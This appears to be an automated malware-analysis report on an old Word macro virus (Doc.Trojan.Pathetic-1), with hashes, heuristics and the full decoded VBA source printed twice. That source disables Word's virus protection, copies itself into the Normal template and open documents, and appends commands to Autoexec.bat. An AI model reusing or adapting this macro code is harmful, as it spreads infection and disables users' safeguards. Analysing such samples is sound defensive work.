Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f010abac2362e43a…

MALICIOUS

Office (OLE)

37.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a3f902906f30a08d4e560e88ec5afefb SHA-1: 5b7776626bf2d8fb7dbf3a677c71563b7fb17452 SHA-256: f010abac2362e43a0fe263c40b87c0bd7464c3840011ab9b5ad92a15951ec9c7
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV and exhibits critical heuristics for VBA macros and an AutoOpen macro. The VBA script attempts to export its own code to 'C:\vb.txt' and then import it into other documents and templates, potentially spreading itself. It also appends commands to 'C:\Autoexec.bat', indicating an attempt to establish persistence or execute further malicious actions.

Heuristics 5

  • ClamAV: Doc.Trojan.Pathetic-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pathetic-1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2667 bytes
SHA-256: 1a36ed0335cb55753899cde91547ebb36a585f5e54862e631ea7e10dedaf374f
Detection
ClamAV: Doc.Trojan.Pathetic-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module11111111111111111"
Attribute VB_Base = "1Normal.Module11111111111111111"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
On Error Resume Next
Dim d  As Document
Dim t As Template

Dim i As Integer
Set d = ActiveDocument
Set t = NormalTemplate

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False


If d.VBProject.VBComponents.Count <> 1 Then
 d.VBProject.VBComponents.Item(2).Export "C:\vb.txt"
End If


If t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
    t.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
If d.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
    d.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If

For i = 1 To Word.Windows.Count
   If Word.Windows.Item(i).Document.VBProject.VBComponents.Count = 1 Then
        Word.Windows.Item(i).Document.VBProject.VBComponents.Import "c:\vb.txt"
        Word.Windows.Item(i).Document.Save
   End If
Next i

Open "C:\Autoexec.bat" For Append As #1
Print #1, "@echo The beak of the salmon " & Application.UserName
Print #1, "@copy c:\windows\*.ini super.ini /Y"
Close #1

If Month(Now) = 5 Then
    d.Close         'Pathetic I Know !
End If
End Sub


Attribute VB_Name = "Module111111111111111111"
Sub autoopen()
On Error Resume Next
Dim d  As Document
Dim t As Template

Dim i As Integer
Set d = ActiveDocument
Set t = NormalTemplate

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False


If d.VBProject.VBComponents.Count <> 1 Then
 d.VBProject.VBComponents.Item(2).Export "C:\vb.txt"
End If


If t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
    t.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
If d.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
    d.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If

For i = 1 To Word.Windows.Count
   If Word.Windows.Item(i).Document.VBProject.VBComponents.Count = 1 Then
        Word.Windows.Item(i).Document.VBProject.VBComponents.Import "c:\vb.txt"
        Word.Windows.Item(i).Document.Save
   End If
Next i

Open "C:\Autoexec.bat" For Append As #1
Print #1, "@echo The beak of the salmon " & Application.UserName
Print #1, "@copy c:\windows\*.ini super.ini /Y"
Close #1

If Month(Now) = 5 Then
    d.Close         'Pathetic I Know !
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.